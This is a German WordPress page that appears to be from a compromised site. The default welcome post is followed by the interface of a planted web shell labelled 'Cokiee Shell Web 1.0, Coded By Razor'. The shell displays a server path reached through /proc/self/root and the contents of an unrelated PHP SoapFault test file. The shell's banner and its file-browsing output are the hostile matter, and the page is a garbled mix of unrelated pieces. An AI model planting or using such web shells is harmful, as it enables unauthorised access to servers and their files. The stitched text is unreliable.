Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/soap/tests/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/soap/tests/fault_warning.phpt |
--TEST-- SoapFault class: Invalid Fault code warning given? Can't be an empty string, an array of not 2 elements etc. --SKIPIF-- <?php require_once('skipif.inc'); ?> --FILE-- <?php $fault = new SoapFault("", "message"); // Can't be an empty string $fault = new SoapFault(0, "message"); // Can't be a non-string (except for null) $fault = new SoapFault("Sender", "message"); echo get_class($fault) . "\n"; $fault = new SoapFault(null, "message"); echo get_class($fault) . "\n"; $fault = new SoapFault(["more"], "message"); // two elements in array required $fault = new SoapFault(["m", "more", "superflous"], "message"); // two required $fault = new SoapFault(["more-ns", "Sender"], "message"); // two given echo get_class($fault); ?> --EXPECTF-- Warning: SoapFault::SoapFault(): Invalid fault code in %s on line %d Warning: SoapFault::SoapFault(): Invalid fault code in %s on line %d SoapFault SoapFault Warning: SoapFault::SoapFault(): Invalid fault code in %s on line %d Warning: SoapFault::SoapFault(): Invalid fault code in %s on line %d SoapFault
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare